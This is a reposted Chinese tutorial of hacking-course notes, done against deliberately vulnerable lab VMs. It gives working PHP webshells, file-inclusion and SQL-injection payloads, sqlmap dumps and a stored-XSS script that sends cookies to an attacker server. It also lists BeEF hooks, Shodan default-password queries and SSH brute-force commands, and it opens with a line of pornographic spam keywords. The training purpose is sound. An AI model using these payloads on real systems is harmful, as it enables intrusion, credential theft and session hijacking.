日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

B站 - 黑客攻防 入门到入狱 [网络安全] -笔记

發布時間:2024/8/1 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 B站 - 黑客攻防 入门到入狱 [网络安全] -笔记 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
cc攻擊和DDoS攻擊: https://www.zhihu.com/question/279332078/answer/406403780 ← ← ← 刮刮樂

筆記來源B站視頻(知識區>野生技術協會)
黑客攻防 從入門到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS

文章目錄

    • 一、文件上傳漏洞原理
      • 1、實驗原理
      • 2、實驗過程
      • 3、webshell
      • 4、菜刀詳解+官網下載鏈接
    • 二、文件包含滲透 File Inclusion
      • 1、項目實驗環境
      • 2、文件包含漏洞危害及原理
        • 2.1、低安全級別
        • 2.2、中安全級別
        • 2.3、高安全級別
    • 三、SQL注入攻擊及防御
      • 1、項目實驗環境
      • 2、SQL注入危害
      • 3、SQL基礎回顧
      • 4、SQL注入流程
      • 5、手動注入實戰
        • 5.1、基于錯誤的注入
        • 5.2、基于布爾的注入
        • 5.3、基于UNION的注入
        • 5.4、基于時間的盲注
      • 6、SQLmap自動注入
        • 6.1、GET方法注入+數據獲取
        • 6.2、POST方法注入+數據獲取
        • 6.3、提權操作
        • 6.4、綜合實例
    • 四、跨站腳本攻擊 XSS
      • 1、XSS簡介
      • 2、原理解析
      • 3、構造XSS腳本
        • 3.1、常用HTML標簽
        • 3.2、常用JavaScript方法
        • 3.3、構造XSS腳本
      • 4、反射型XSS (XSS reilected)
        • 4.1、安全級別
      • 5、存儲型XSS (XSS stored)
      • 6、自動化XSS
        • 6.1、BeEF簡介
        • 6.2、BeEF基礎
        • 6.3、信息收集
    • 五、Web信息收集之搜索引擎
      • 1、Google Hacking
      • 2、Shodan Hacking
      • 3、Zoomeye Hacking
    • 六、Web信息收集之目標掃描
      • 1、項目實驗環境
      • 2、nmap(命令行)
      • 3、zenmap(圖形界面)
      • 4、OpenVAS
    • 七、Web漏洞掃描之AppScan
    • 八、Web漏掃之 Burp suite
    • 九、SSH密碼暴力破解及防御實戰
    • 十、中間人攻擊及防御

一、文件上傳漏洞原理


實驗靶機:OWASP_BrokenWeb_Apps_VM_1.2
下載地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

測試滲透機:Kali_Linux
官網下載地址:https://www.kali.org/downloads/

1、實驗原理

2、實驗過程

注意:上傳文件(比如圖片)時,文件不要太大,否則會上傳失敗
.

實驗一:
低安全模式下,上傳任意類型文件,對文件的限制不大

實驗二:
中安全模式下,繞過上傳文件的類型
開啟 BurpSuite ,設置代理地址(攻擊機的地址)
修改瀏覽器代理,用 BurpSuite 實現攔截功能
在被攔截的數據中修改Content-Type的信息,改為 image/JPEG

實驗二實現原理:

實驗三:
高安全模式,上傳一句話圖片木馬(文件后綴名限制)

上傳一句話木馬圖片(結合下面的 webshell 進行操作)
用工具 edjpgcom 給圖片寫入木馬,執行圖片內容生成木馬,用中國菜刀連接進行后臺操作

在后面章節的 文件包含漏洞 - ->本地文件 + webshell 會提到具體的操作方法

edjpgcom工具鏈接:
藍奏云: https://www.lanzoux.com/iJ9cce8fphe

3、webshell

shell2.php #eval 使用php函數,例如phpinfo(); <?php eval($_REQUEST['cmd']);?> http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();shell3.php #system 使用Linux系統命令,例如ls,cp,rm <?php system($_REQUEST['yangge']);?> http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd #10.3.139.173改為靶機的ip地址

$ _REQUEST和$ _POST的區別

< ?php eval($_REQUEST[‘hello’]);? >(hello可以改)
在地址欄用參數一條一條地操作
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?hello=phpinfo();

< ?php eval($_POST[‘hello’]);? >(hello可以改)
用工具(中國菜刀)連接進行后臺操作

4、菜刀詳解+官網下載鏈接

中國菜刀官網:http://www.maicaidao.co/
騰訊哈勃查毒(輕度風險):https://habo.qq.com/

在文件中找到readme.txt,里面有詳細使用方法

二、文件包含滲透 File Inclusion

1、項目實驗環境


本地文件包含:LFI
遠程文件包含:RFI

老師手繪圖

綠色框:正常文件
紅色框:上傳惡意的本地文件
黃色框:讓服務器主動訪問惡意的遠程文件

2、文件包含漏洞危害及原理

2.1、低安全級別

本地文件包含

本地文件包含 + webshell

一句話木馬腳本 <?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>


edjpgcom工具鏈接:
藍奏云: https://www.lanzoux.com/iJ9cce8fphe
天翼:https://cloud.189.cn/t/R7VFjuZRbMJb(訪問碼:n4d1)

注意:圖片不能太大,否則可能運行不了

相對路徑 http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg 絕對路徑 http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg

遠程文件包含 + webshell

建立遠程服務器
安裝web服務(apache2)
apt-get install apache2
開啟web服務
systemctl start apache2
編寫腳本文件
vim /var/www/html/yangge.txt

<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>

2.2、中安全級別

本地文件包含: 和低安全級別操作一樣
本地文件包含 + webshell: 和低安全級別操作一樣

遠程文件包含 + webshell
后臺源碼用str_replace函數只替換一個http://,改成http:http:////即可

2.3、高安全級別

后臺源碼寫死,文件后綴名限制,安全但不靈活

三、SQL注入攻擊及防御

1、項目實驗環境

實驗靶機:OWASP_BrokenWeb_Apps_VM_1.2
下載地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download

測試滲透機:Kali_Linux
官網下載地址:https://www.kali.org/downloads/

2、SQL注入危害

  • 拖庫導致用戶數據泄露
  • 危害web等應用的安全
  • 失去操作系統的控制權
  • 用戶信息被非法買賣
  • 危害企業及國家的安全
  • 3、SQL基礎回顧

    1、登錄OWASP
    登錄OWASP
    2、查看數據庫
    show databases; 查看所有數據庫
    select database(); 查看當前所在的庫
    use dvwa; 使用dvwa庫
    3、查看當前庫中的表
    show tables;
    4、查看表結構
    desc table;
    5、查看表記錄
    比如select語句

    //簡單查詢示例 當前庫dvwa dvwa .users mysql> select * from users; mysql> select user_id,first其它庫 mysql.user mysql> desc mysql.user; mysql> select * from mysql.user; mysql> select user,password,host from mysql.user;其它庫 wordpress .user mysql> desc wordpress.wp_users; mysql> select * from wordpress.wp_users; wysql> select user_login,user_pass from wordpress.wp_users;//條件查詢示例 mysql> select user,password,host from mysql.user where user='root'; mysqi> select user,password,host from mysql.user where user='root' and host='localhost': mysql> select user,password,host from mysql.user where user='root' or host='localhost';mysql> desc dvwa .users; mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge'; mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1; mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;mysql> select user_id,first_name,last_name from dvwa.users where user_id=2; mysql> select user_id,first_name,last_name from dvwa.users where user_id=7; mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;

    聯合查詢

    注:union查詢前后字段數必須相同 mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;

    注入語句

    mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;

    6、information_schema(元數據)

    ====查詢數據庫庫名、表名 information_schema.tables=== mysql> select * from information_schema.TABLES\G mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等價于show databases mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等價于show tables


    ===查詢數據庫庫名、表名、字段名 information_schema.columns=== mysql> select * from information_schema.columns\G mysql> select column_name from INFORMATION_SCHEMA.columns mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users'; //相當于desc mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES'; mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';

    4、SQL注入流程

    5、手動注入實戰

    5.1、基于錯誤的注入

    目的:試探某位置是否有注入點

    語句分析

    輸入單引號 ’ 報錯

    select first_name,last_name from dvwa users where user_id='''

    5.2、基于布爾的注入

    注入語句

    select first_name,last_name from dvwa users where user_id='' or 1=1 -- yangge '

    ' or 1=1 -- yangge
    第一個 ' 是為了閉合前面的條件
    or 1=1 為真的條件
    - - 注釋掉后面所有語句

    一般可以查到本張表的所有數據

    5.3、基于UNION的注入



    //查詢所有庫名 'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- ' mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- ' //查詢所有庫的表名 ' union select table_name,1 from INFORMATION_SCHEMA.tables -- '' mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- '' //查詢所有表名及對應庫名 ' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- '' mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''

    //原始語句 mysq1> select first_name,last_name from dvwa.users where user_id='$id' //查詢數據表 'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users' --' 'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --' 'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'

    //查詢數據列 'union select NULL, user from users -- ' 'union select NULL, password from users -- ' 'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- ' 'union select password, concat(first_name,' ',last_name,' ',user) from users --' 輸入語句 mysq1> select first_name,last_name from dvwa.users where user_id=' 'union select password, concat(first_name,' ',last_name,' ',user) from users --'

    注入語句

    可以查到本張表以外的其他表的數據
    前提是
    第一要知道union前面SQL語句查詢的字段數
    第二要知道union后面的要查的那張表的字段名

    5.4、基于時間的盲注

    SQL injection (Blind) - 盲注

    有些數據庫對錯誤信息做了安全配置,使得不能通過以上方法探測到注入點,此時,通過設置 sleep 語句來探測注入點
    1' and sleep(5) -- '

    SQL注入語句解析: mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '

    6、SQLmap自動注入

    ??SQ注入比較好用的工具,首推開源工具 SQLmap。SQLmap是個國內外著名的安全穩定性測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的安全穩定性測試的功能選項,包括獲取數據庫中有的數據,訪可操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。
       SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等數據庫的各中安全漏洞檢測
    sqlmap -hh | less

    各行參數自行翻譯(本人英語渣渣)

    6.1、GET方法注入+數據獲取

    有登陸權限漏洞的靶機 OWASPMutillidae ‖

    通過指定參數注入(復制網頁鏈接,再加上參數)

    root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username



    獲取所有數據庫

    root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs


    獲取所有用戶

    root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users


    獲取當前用戶

    root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user --users //獲取全部用戶 --current-user //獲取當前用戶 --dbs //獲取全部數據庫 --current-db //獲取當前數據庫 -D "database_name" --tables -D "database_name" -T "table_name" --colun --dump-all //整個數據庫全部dump()下來 --dump-all --exclude-sysdbs //排除系統庫 -D "database_name" -T "table_name" --dump -D "database_name" -T "table_name" -C "username, password" --dump --batch //自動化完成![在這里插入圖片描述](https://img-blog.csdnimg.cn/20200620142056130.png)


    演示步驟:

    6.2、POST方法注入+數據獲取

    需要帶cookie才能訪問注入的頁面, – cookie=""
    root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="換成自己的" --batch
    多個 cookie 用 ; 分開
    cookie 的內容 – > PHPSESSID = ID(主意,要用 =,而不是 :)


    演示步驟(和GET差不多):

    6.3、提權操作

    提權操作:--sql-shell

    獲取sql權限后(操作數據庫):
    sql-shell:select * from users;

    6.4、綜合實例

    四、跨站腳本攻擊 XSS

    1、XSS簡介

    2、原理解析


    一般針對搜索框

    3、構造XSS腳本

    3.1、常用HTML標簽

    3.2、常用JavaScript方法

    3.3、構造XSS腳本




    主要用到這兩條命令

    <script src="http://BeEF_IP:3000/hook.js"></script> #結合BeEF收集用戶的 cookie 巧用圖片標簽 <img src="http://BeEF_IP:3000/hook.js"></img>

    4、反射型XSS (XSS reilected)

    4.1、安全級別

    低安全級別


    可以直接發送代碼段(XSS reilected 和 XSS stored 都行)

    彈框警告: <script>alert('yangge')</script> <script>alert(document.cookie)</script> 頁面重定向: <script>location.href="http://www.baidu.com"</script>
        • 》手工XSS

    5、存儲型XSS (XSS stored)

    存儲型XSS(持久型XSS)即攻擊者將帶有XSS攻擊的鏈接放在網頁的某個頁面,例如評論框等;
    用戶訪問此XSS鏈接并執行,由于存儲型XSS能夠攻擊所有訪問此頁面的用戶,所以危害非常大。

        • 》手工【低】
    攻擊1 彈框告警∶ 滲透機 kali Linux 端操作text1<script>alert('yangge')</script>攻擊2 獲取cookie: 滲透機 Kali Linux端操作1. 構建收集cookie服務器2. 構造XSS代碼并植入到Neb服務器3. 等待肉雞觸發xSS代碼并將cookie發送到Kali4.Cookie利用

    獲取用戶 cookie
    在 kali 打開 apache 服務
    systemctl start apache2
    新建一個存放cookie的php文件
    vim /var/www/html/cookie_rec.php
    寫入內容:

    <?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt","a"); fwrite($log, $cookie . "\n"); fclose($log); ?>

    給目錄權限
    chown -R www-data.www-data /var/www/

    通過滲透機植入XSS代碼: <script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.cookie)</script> 注:192.168.106.176 為kali Linux IP(換成自己的) 注: 先清除之前植入的XSS代碼


    再用另外一臺電腦訪問該網站,就可以在 /var/www/html/cookie.txt 文件中看到已經獲取到cookie

    6、自動化XSS

    6.1、BeEF簡介

    Browser Exploitation Framework (BeEF)
    BeEF是目前最強大的瀏覽器開源滲透測試框架,通過XSS漏洞配合JS腳本和Metasploit進行滲透;
    BeEF是基于Ruby語言編寫的,并且支持圖形化界面,操作簡單;
    http://beefproject.com/

    信息收集:
    1.網絡發現
    2.主機信息
    3.Cookie獲取
    4.會話劫持
    5.鍵盤記錄
    6.插件信息

    持久化控制:
    信息收集:
    1.網絡發現
    2.主機信息
    3.Cookie獲取
    4.會話劫持
    5.鍵盤記錄
    6.插件信息

    持久化控制:
    1確認彈框
    2.小窗口
    3.中間人

    社會工程:
    1.點擊劫持
    2.彈窗告警
    3.虛假頁面
    4.釣魚頁面

    6.2、BeEF基礎

    啟動Apache和BeEF:
    service apache2 start

    注: 先清除之前植入的XSS代碼


    在瀏覽器登錄beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 換成自己IP)
    登錄賬號:beef
    登錄密碼:beef

    6.3、信息收集

    命令顏色(Color):
    綠色 對目標主機生效并且不可見(不會被發現)
    橙色 對目標主機生效但可能可見(可能被發現)
    灰色 對目標主機未必生效(可驗證下)
    紅色 對目標主機不生效

    反射型 - - 》非持久化
    儲存型 - - 》持久化

    五、Web信息收集之搜索引擎

    搜索引擎:
    Google Hacking(谷歌)
    Shodan Hacking(撒旦)
    Zoomeye Hacking(鐘馗之眼 - 撒旦國內版)

    信息收集概述

  • Web信息搜集(探測)即web踩點,主要是掌握目標Web服務的方方面面,是實現web滲透入侵前的準備工作
  • Web踩點內容包括操作系統、服務器類型、數據庫類型、web容器、web語言、域名信息、網站目錄…
  • Web信息搜集涉及搜索引擎、網站掃描、域名遍歷、指紋識別等工作
  • 項目實驗環境

  • 目標靶機: OWASP_Broken_Web_Apps_VM_1.2
  • 測試透機: win7/Kali
  • 1、Google Hacking

    不同的搜索行為
    1、site

    2、filetype

    3、inurl

    4、intitle

    5、intext

    實例

    符號

    參考
    搜索:測驗分數(test scores)但不是SAT入學分數的文章:

    搜索:一份關于常見燕子飛行速度的專業報告

    搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所寫的關于光合作用(photosynthesis)的記文:

    2、Shodan Hacking

    https://www.shodan.io
    Shodan(撒旦搜索引擎)是由Web工程師John Matherly(馬瑟利)編寫的,被稱為“最可怕的搜索引擎”,可掃描一切聯網的設備,除了常見的web服務器;還能掃描防火墻、路由器、交換機、攝像頭、打印機等一切聯網設備

    ip
    114.114.114.114

    service/protocol

    keyword
    基于關鍵詞搜索的思路是根據banner信息(設備指紋)來搜索 “default password” country:“TH”
    FTP anon successful

    country
    country:cn
    country:us
    country:jp

    product
    product:“Microsoft IIS httpd”
    product:“nginx”
    product:“Apache httpd”
    product:MySQL

    version
    product:MySQL version:“5.1.73”
    product:“Microsoft IIS httpd” version:“7.5”

    hostname
    hostname: org
    hostname: edu

    OS
    os:“Windows Server 2008 R2”
    os:“Windows 7 or 8”
    os:“Linux 2.6.x”

    net
    net net:110.180.13.0/24
    200 ok net:110,180.13.0/24
    200 ok country: JP net:110.180.13.0/24

    port
    port: 3389
    port: 445
    port: 22
    port: 80
    port: 443

    綜合示例

    搜索日本區開啟80端口的設備: country:jp port:"80" country:jp port:"80" product:"Apache httpd" country:jp port:"80" product:"Apache httpd" city:"Tokyo" country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"搜索日本區使用Linux2.6.x系統的設備: country:jp os:"Linux 2.6.x" country:jp os:"Linux 2.6.x" port:"80" country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"搜索日本區使用windows Server 系統的設備: country:jp os:"Windwws Server 2008 R2" country:jp os:"Windows Server 2003" port:"445" country:jp os:"Nindows Server 2003" port:"80"授索日本區使用Microsoft IIS的設備: country:jp product:"Microsoft IIS httpd" version:"7.5"

    3、Zoomeye Hacking

    概述
    https://www.zoomeye.org

    用戶手冊(shift+/):https://www.zoomeye.org/help
    自己去玩玩。。。

    六、Web信息收集之目標掃描

    1、項目實驗環境

  • 目標靶機: OWASP_Broken_Web_Apps_VM_1.2
  • 測試透機: win7/Kali
  • 2、nmap(命令行)

    nmap簡介
    Nmap是安全滲透領域最強大的開源端口掃描器,能跨平臺支持運行。
    Nmap官網:https://nmap.org/
    Nmap的幫助文檔:https://nmap.org/book/man.html
    其他安全工具:http://sectools.org/

    掃描示例

    主機發現:nmap -sn 192.168.106/24 端口掃描:nmap -sS -p1-1000 192.168.106.134 (-sS原理,給對方發一個SYN握手包,若對方回一個SYN/ACK,則開啟了探測端口;若回一個RESET/ACK,則沒有開啟探測端口) 系統掃描:nmap -O 192.168.106.134 版本掃描:nmap -sV 192.168.106.134 綜合掃描:nmap -A 192.168.106.134 腳本掃描:root@kali:/usr/share/nmap/scripts#nmap --script=default 192.168.106.134nmap --script=auth 192.168.106.214nmap --script=brute 192.168.106.134nmap --script=vuln 192.168.106.134nmap --script=broadcast 192.168.106.134nmap --script=smb-brute.nse 192.168.106.134nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134nmap -p3306 --script=mysql-empty-password.nse 192.168.106.134

    3、zenmap(圖形界面)

    Intense scan(強烈掃描):
    nmap -T4 -A -v 192.168.106.1
    -T 設置速度等級,1到5級,數字越大,速度越快
    -A 綜合掃描
    -v 輸出掃描過程

    Intense scan plus UDP:
    nmap -sS -sU -T4 -A -v 192.168.106.134
    -sS TCP全連接掃描
    -sU UDP掃描

    Intense scan, all TCP ports:
    nmap -p 1-65535 -T4 -A -v 192.168.106.134
    -p 指定端口范圍,默認掃描1000個端口

    intense scan no ping:
    nmap -T4 -A -v -Pn 192.168.106.0/24
    -Pn 不做ping掃描,例如針對防火墻等安全產品

    ping scan:
    nmap -sn 192.168.106.0/24
    nmap -sn -T4 -v 192.168.106.0/24
    -sn 只做ping掃描,不做端口掃描

    quick scan:
    nmap -T4 -F 192.168.106.134
    -F fast模式,只掃描常見服務端口,比默認端口(1000個)還少

    Quick scan plus:
    nmap -sV -T4 -O -F --version-light 192.168.106.134
    -sV 掃描系統和服務版本
    -O 掃描操作系統版本

    Quick traceroute:
    nmap -sn --traceroute www.qfedu.com
    - -traceroute 追蹤經過的路由站

    Regular scan:
    nmap www.qfedu.com
    標準掃描

    Slow comprehensive scan:
    nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" www.baidu.com
    全面掃描(慢)

    4、OpenVAS

    信息掃描工具

    http://www.openvas .org/
    http://www.greenbone.net/

    部署OpenVAS

    升級Kali Linux root@kali:~# apt-get update rootekali:~# apt-get dist-upgrade //升級更新前,記得換鏡像源,這樣快一點 安裝openVAS root@kali:~# apt-get install openvas root@kali:~# openvas-setup修改admin賬戶密碼 root@kali:~# openvasmd --user=admin --new-password=yangge修改默認監聽IP root@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service啟動OpenVAS root@kali:~# openvas-start


    檢查安裝:
    root@kali:~#ss -tnlp
    root@kali:~#openvas-check-setup


    登錄OpenVAS
    https://192.168.106.158:9392 #192.168.106.158為 Kali IP地址 端口9392
    注:是https

    高級 - > 允許訪問

    新建掃描task



    高級掃描task


    結果:

    七、Web漏洞掃描之AppScan


    IBM@ Security AppScan@ 是一個適合安全專家的Web應用程序和Web服務滲透測試解決方案
    國外商業漏掃產品中,少有的能支持中文的漏掃,運行于windows平臺;
    界面清晰、配置簡單豐富的中文和產品文檔,詳細的漏洞說明和修復建議;
    支持豐富的掃描報告,包括安全性、行業標準、合規一次性報告。
    https://www.ibm.com/developerworks/cn/downloads/r/appscan/

    1.功能及特點

    2.項目實驗環境

  • 目標靶機: OWASP_Broken_Web_Apps_VM_1.2
  • 測試透機: win7/Kali
  • 3.AppScan安裝
    在官網下載到Windows上安裝

    4.創建掃描

    下一步


    下一步 - >完成 - > 掃描 - > 保存結果

    八、Web漏掃之 Burp suite


    1.功能以及特點

    https://portswigger.net/burp/

    Target: 目標模塊用于設置掃描域(target scope)、生成站點地圖(sitemap)、生成安全分析

    Proxy: 代理模塊用于攔截瀏覽器的http會話內容

    Spider: 爬蟲模塊用于自動爬取網站的每個頁面內容,并生成完整的網站地圖

    Scanner: 掃描模塊用于自動化檢測漏洞,分為主動和被動掃描

    Intruder: 入侵(滲透)模塊根據上面檢測到的可能存在漏洞的鏈接,調用攻擊載荷,對目標鏈接進行攻擊入侵模塊的原理是根據訪問鏈接中存在的參數/變量,調用本地詞典、攻擊載荷,對參數進行滲透測

    Repeater: 重放模塊用于實現請求重放,通過修改參數進行手工請求回應的調試

    Sequencer: 序列器模塊用于檢測參數的隨機性,例如密碼或者令牌是否可預測,以此判斷關鍵數據是否可被偽造

    Decoder: 解碼器模塊用于實現對URL、HTML、Base64、ASCII、二/八/十六進制、哈希等編碼轉換

    Comparer 對比模塊用于對兩次不同的請求和回應進行可視化對比,以此區分不同參數對結果造成的影響

    Extender: 拓展模塊是burpsuite非常強悍的一個功能,也是它跟其他web安全評估系統最大的差別,通過拓展模塊,可以加載自己開發的、或者第三方模塊,打造自己的burpsuite功能通過burpsuite提供的API接口,目前可以支持Java、Python、Ruby三種語言的模塊編寫

    Options: 分為Project/User Options,主要對軟件進行全局設置

    Alerts: 顯示軟件的使用日志信息

    2.項目實驗環境

  • 目標靶機: OWASP_Broken_Web_Apps_VM_1.2
  • 測試透機: win7/Kali
  • 3.Burp Suite安裝

    啟動方法:java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar

    4.Burp Suite使用

    代理功能【Proxy】
    目標功能【Target】

    開啟監聽端口
    瀏覽器設置代理
    代理功能詳解
    攔截賬號信息


    查看站點地圖

    設置過濾器


    爬蟲功能【Spider】

    準備工作:
    設置代理獲取域名【略】
    訪問目標網站
    設置目標域
    攔截功能關閉


    爬蟲選項





    執行爬蟲,在站點地圖中發送給爬蟲

    掃描功能【Scanner】

    準備工作:
    設置代理獲取域名【略】
    訪問目標網站
    設置目標域
    攔截功能關閉

    掃描選項之掃描方式:
    主動掃描精準度高時間長影響大消耗資源大
    被動掃描精準度低時間短影響小消化資源小


    攻擊插入點


    主動掃描



    被動掃描

    漏洞掃描

    漏洞問題


    保存導出問題

    使用主動掃描
    站點地圖中選中主動掃描的網站或分支

    打開報告

    九、SSH密碼暴力破解及防御實戰


    1、hydra [海德拉]

    **海德拉(Hydra):**希臘神話中的九頭蛇,是西方的神話生物,在古希臘神話中出現最為頻繁。傳說它擁有九顆頭,其中一顆頭要是被斬斷,立刻又會生出兩顆頭來。

    hydra是世界頂級密碼暴力密碼破解工具,支持幾所有協議的在線密碼破解,功能強大,其密碼能否被破解關鍵取決于破解字典是否足夠強大,在網絡安全滲透過程中是一款必備的測試工具。

    指定用戶破解

    Examples: hydra -1 user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -1 admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt sshrootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh

    用戶列表破解

    root@kali:~# cat userlist.txt admin root tianyun yangge zhuzhuxiaroot@kali:~# cat passlist.txt 123 abc,123 root admin owaspbwa yangge root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh


    結果導出到 ssh-hydra.ok
    root@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok

    2、Medusa [美杜莎]
    美杜莎是希臘神話里的一個女妖怪,她的頭發是毒蛇,長的青面撩牙,她知道自己丑,她要報復,她把見過她的人都變成了石頭。據說她原是一位美麗的少女,之所以變成蛇發女妖因為梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下將美杜莎的頭發變成毒蛇,變成面目丑陋的怪物。

    Medusa(美杜莎)是一個速度快,支持大規模并行,模塊化,爆破登錄。可以同時對多個主機,用戶或密碼執行強力測試。Medusa 和 hydra —樣,同樣屬于在線密碼破解工具。不同的是,medusa 的穩定性相較于 hydra 要好很多,但其支持模塊要比 hydra 少一些。

    語法參數


    破解SSH密碼
    root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt

    root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt

    root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F

    root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log輸出到ssh.log

    3、patator
    Patator :強大的命令行暴力破解器

    可用模塊

    破解SSH密碼

    root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt

    root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'

    4、BrutesPray

    Kali端安裝
    root@kali:~# apt-get update
    root@kali:~# apt-get install brutespray

    語法參數

    nmap掃描

    root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xml
    root@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xml
    root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xml
    root@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml

    字典爆破SSH
    root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5

    爆破成功可以到這個文件下查看
    cat /root/brutespray-output/ssh-success.txt

    5、MSF


    SSH模塊
    root@kali:~# msfconsole
    msf > search ssh

    SSH用戶枚舉(ssh_enumusers)
    msf > use auxiliary/scanner/ssh/ssh_enumusers
    msf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134
    msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txt
    msf auxiliary(scanner/ssh/ssh_enumusers) > run

    SSH版本探測(ssh_version)
    msf > use auxiliary/scanner/ssh/ssh_version
    msf auxiliary(scanner/ssh/ssh_version) > set rhosts 192.168.106.134
    msf auxiliary(scanner/ssh/ssh_version) > run

    SSH 暴力破解(ssh_login)
    msf > use auxiliary/scanner/ssh/ssh_login
    msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134
    msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
    msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
    msf auxiliary(scanner/ssh/ssh_login) > run

    6、暴力破解防御

